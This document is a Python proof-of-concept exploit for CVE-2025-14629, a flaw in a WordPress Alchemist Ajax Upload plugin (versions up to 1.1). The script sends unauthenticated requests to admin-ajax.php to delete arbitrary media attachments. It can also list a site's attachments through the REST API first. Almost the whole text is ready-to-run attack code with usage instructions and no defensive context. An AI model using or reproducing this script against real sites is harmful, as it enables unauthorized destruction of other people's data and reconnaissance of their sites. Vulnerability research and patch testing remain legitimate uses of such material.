CVE-2025-14629

import requests import sys # CVE-2025-14629 PoC - Unauthenticated Arbitrary File Deletion # Target: WordPress Alchemist Ajax Upload Plugin <= 1.1 def delete_media_attachment(target_url, attachment_id): """ Delete arbitrary WordPress media attachment without authentication Args: target_url: Base URL of the WordPress site attachment_id: ID of the media attachment to delete Returns: Response from the server """ ajax_endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Construct the deletion request data = { 'action': 'alchemist_delete_file', # Plugin's AJAX action 'file_id': str(attachment_id) # Attachment ID to delete } try: # Send POST request without authentication response = requests.post(ajax_endpoint, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def enumerate_attachments(target_url): """ Enumerate available media attachments via REST API Args: target_url: Base URL of the WordPress site Returns: List of attachment IDs """ rest_endpoint = f"{target_url.rstrip('/')}/wp-json/wp/v2/media?per_page=100" try: response = requests.get(rest_endpoint, timeout=10) if response.status_code == 200: attachments = response.json() return [(att['id'], att['source_url'], att['title']['rendered']) for att in attachments] except: pass return [] def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-14629.py <target_url> <attachment_id>") print("Example: python cve-2025-14629.py http://example.com 123") sys.exit(1) target = sys.argv[1] attachment_id = sys.argv[2] print(f"[*] CVE-2025-14629 - Alchemist Ajax Upload Unauth File Deletion") print(f"[*] Target: {target}") print(f"[*] Attachment ID to delete: {attachment_id}") # First, enumerate attachments if no specific ID provided if attachment_id == 'enumerate': print("\n[*] Enumerating media attachments...") attachments = enumerate_attachments(target) if attachments: print(f"[+] Found {len(attachments)} attachments:") for att_id, url, title in attachments: print(f" - ID: {att_id}, Title: {title}, URL: {url}") else: print("[-] No attachments found or enumeration failed") return # Attempt to delete the specified attachment print(f"\n[*] Attempting to delete attachment {attachment_id}...") response = delete_media_attachment(target, attachment_id) if response: print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200: print("[+] Deletion request sent successfully") else: print("[-] Unexpected response") if __name__ == "__main__": main()

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